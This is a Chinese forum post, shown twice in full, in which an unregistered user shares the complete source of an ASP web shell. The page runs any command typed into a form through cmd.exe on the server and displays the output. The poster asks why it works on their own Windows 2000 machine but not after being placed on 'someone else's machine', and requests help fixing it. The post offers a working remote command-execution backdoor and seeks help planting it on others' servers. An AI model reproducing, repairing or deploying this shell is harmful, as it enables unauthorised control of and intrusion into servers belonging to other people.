Z
zhousi
Unregistered / Unconfirmed
GUEST, unregistred user!
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <>"") then
szTempFile = "C:/" &
oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c " &
szCMD &
" > " &
szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<TITLE>DOS命令</TITLE>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="输入DOS命令">
</FORM><PRE>
<%
If (IsObject(oFile)) then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
放在我的win2000机子上可以正常运行,查看文件目录
为什么我放到别人的机器上就不行了,只能浏览正常,但输入命令就不行了,没显示
比如: dir c:/
szTempFile = "C:/" &
oFileSys.GetTempName() 这句什么意思
是不是他系统装在d盘就不行了
我对asp不太懂,谢谢高手帮忙
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <>"") then
szTempFile = "C:/" &
oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c " &
szCMD &
" > " &
szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<TITLE>DOS命令</TITLE>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="输入DOS命令">
</FORM><PRE>
<%
If (IsObject(oFile)) then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
放在我的win2000机子上可以正常运行,查看文件目录
为什么我放到别人的机器上就不行了,只能浏览正常,但输入命令就不行了,没显示
比如: dir c:/
szTempFile = "C:/" &
oFileSys.GetTempName() 这句什么意思
是不是他系统装在d盘就不行了
我对asp不太懂,谢谢高手帮忙